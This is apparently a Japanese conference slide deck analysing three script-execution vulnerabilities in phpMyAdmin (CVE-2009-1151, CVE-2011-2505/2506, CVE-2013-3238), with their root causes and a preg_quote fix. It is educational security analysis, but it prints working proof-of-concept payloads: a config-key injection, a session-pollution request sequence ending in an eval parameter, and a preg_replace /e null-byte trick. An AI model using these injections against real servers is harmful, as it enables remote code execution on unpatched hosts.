phpMyAdminにおける
スクリプト実行可能な脆弱性3種盛り合わせ
HASH コンサルティング株式会社
徳丸 浩
アジェンダ
• 今日はphpMyAdminにおける「スクリプト実行可能な脆
弱性」を3種類紹介します
– CVE-2009-1151
– CVE-2011-2505 / CVE-2011-2506
– CVE-2013-3238
• まとめ
2
Copyright © 2013 HASH Consulting Corp.
はじめに
• (サーバーサイド)スクリプト実行可能な脆弱性と
いうと…
• OSコマンドインジェクション
• evalインジェクション
• Local File Inclusion (LFI) / Remote File
Inclusion(RFI)
• スクリプトファイルのアップロード
• …
• 今回紹介するものはどれでもない
Copyright © 2013 HASH Consulting Corp.
3
phpMyAdminとは…
Copyright © 2013 HASH Consulting Corp.
4
CVE-2009-1151
Copyright © 2013 HASH Consulting Corp.
5
CVE-2009-1151
6http://jvndb.jvn.jp/ja/contents/2009/JVNDB-2009-001443.html
セットアップ内容のセーブ
Copyright © 2013 HASH Consulting Corp.
7
configurationはシリアライズされたオブジェクト
Copyright © 2013 HASH Consulting Corp.
8
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"h
ost";s:9:"localhost";s:9:"extension";s:5:"mysql";s:1
2:"connect_type";s:3:"tcp";s:8:"compress";b:0;s:9:"
auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
configurationからPHPソースが作られる
Copyright © 2013 HASH Consulting Corp.
9
Array (
[Servers] => Array (
[0] => Array (
[host] => localhost
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
)
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"host";s:9:"localhost
";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"comp
ress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
$i++;
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
値に「’」を入れると、ちゃんとエスケープされる
Copyright © 2013 HASH Consulting Corp.
10
Array (
[Servers] => Array (
[0] => Array (
[host] => localhost'a
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
)
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"host";s:11:"localho
st'a";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"c
ompress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
$i++;
$cfg['Servers'][$i]['host'] = 'localhost¥'a';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
でも、キー側の「’」はエスケープされない ^^;
Copyright © 2013 HASH Consulting Corp.
11
Array (
[Servers] => Array (
[0] => Array (
[host'a] => localhost
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
)
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:6:"host'a";s:9:"localho
st";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"co
mpress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
$i++;
$cfg['Servers'][$i]['host'a'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
キーにスクリプトを注入可能
Copyright © 2013 HASH Consulting Corp.
12
Array (
[Servers] => Array (
[0] => Array (
[host'']=phpinfo();//] => localhost
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
)
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:19:"host']=phpinfo();//";s:9:
"localhost";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"
compress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
$i++;
$cfg['Servers'][$i]['host’]=phpinfo();//'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
あーあ、サーバー側でスクリプトが…
Copyright © 2013 HASH Consulting Corp.
13
CVE-2011-2505 / CVE-2011-2506
Copyright © 2013 HASH Consulting Corp.
14
CVE-2011-2505
• 細工をしたクエリ文字列を通して、セッション変数
を変更できる
Copyright © 2013 HASH Consulting Corp.
15
if (strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false)
{
parse_str($_SERVER['QUERY_STRING']);
session_write_close();
session_id($session_to_unset); // セッションIDの変更
session_start();
$_SESSION = array();
session_write_close();
session_destroy();
exit;
}
libraries/auth/swekey/swekey.auth.lib.php 266行目以降
parse_str 関数
16
http://php.net/manual/ja/function.parse-str.php
parse_str 関数の実行例
Copyright © 2013 HASH Consulting Corp.
17
<?php
session_start();
parse_str('a=xyz&b[x]=p23&_SESSION[user]=yamada');
var_dump($a);
var_dump($b);
var_dump($_SESSION);
【実行結果】
string(3) "xyz"
array(1) {
["x"]=>
string(3) "p23"
}
array(1) {
["user"]=>
string(6) "yamada"
}
CVE-2011-2506
18http://jvndb.jvn.jp/ja/contents/2011/JVNDB-2011-004722.html
• サーバー名(getServerName())は、コメント記号
をサニタイジングしている
• $idの方はサニタイジングしていない → 脆弱性
• CVE-2011-2505により、$idに攻撃コードが注
入できる
Copyright © 2013 HASH Consulting Corp.
19
// servers
if ($cf->getServerCount() > 0) {
$ret .= "/* Servers configuration */$crlf¥$i = 0;" . $crlf . $crlf;
foreach ($c['Servers'] as $id => $server) {
$ret .= '/* Server: ' . strtr($cf->getServerName($id), '*/', '-') . " [$id] */" . $crlf
setup/lib/ConfigGenerator.class.php 38行目
exploitの流れ
Copyright © 2013 HASH Consulting Corp.
20
セッションID、トークンの取得など
GET /phpmyadmin/setup/index.php
セッション変数汚染
GET /phpmyadmin/?_SESSION[ConfigFile][Servers][*/攻撃スクリプト
攻撃コードの埋め込み(ファイルへの保存)
POST /phpmyadmin/setup/config.php
攻撃コードの実行
GET /phpmyadmin/config/config.inc.php?eval=攻撃コード
CVE-2013-3238
Copyright © 2013 HASH Consulting Corp.
21
CVE-2013-3238
22http://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-002490.html
テーブルの接頭辞を変更する機能
Copyright © 2013 HASH Consulting Corp.
23
/e¥0 をphpinfo()に変更する操作を実行してみる
Copyright © 2013 HASH Consulting Corp.
24
Phpinfo()が実行された ^^;
Copyright © 2013 HASH Consulting Corp.
25
攻撃ができる理由
Copyright © 2013 HASH Consulting Corp.
26
case 'replace_prefix_tbl':
$current = $selected[$i];
$newtablename = preg_replace("/^" . $from_prefix . "/", $to_prefix, $current);
preg_replace("/^/e¥0/", "phpinfo();", "test");
preg_replace("/^/e", "phpinfo();", "test");
$from_pref = "/e¥0"
PHP5.4.3以前では、¥0以降は無視される
/e 修飾子…
27
http://www.php.net/manual/ja/reference.pcre.pattern.modifiers.php
/e 修飾子…続き
28
http://www.php.net/manual/ja/reference.pcre.pattern.modifiers.php
脆弱性が混入した要因
• preg_replaceに渡す正規表現をエスケープして
いなかった
– 最低限、/ をエスケープする必要がある
• えーっと、preg_quoteって、マルチバイト対応
だっけ?
– Shift_JIS以外では問題ない?
Copyright © 2013 HASH Consulting Corp.
29
preg_replace(“/^” . $from_prefix . “/”, …
↓
reg_replace("/^" . preg_quote($from_prefix, '/') . "/", …
Copyright © 2013 HASH Consulting Corp.
30
まとめ
• phpMyAdminのスクリプト実行可能な脆弱性3種
類を紹介しました
• うち、2種類は比較的基本的なもの…脆弱性診
断でも見つかる?
• Setup用のスクリプトが外部から叩けるという状
況がそもそもおかしい気が…
– phpMyAdminが標準的な導入・運用のスタイルを提
供していない?
• 脆弱性の入り方は酷いと思うけど、脆弱性って
大抵酷いものだよねw

phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ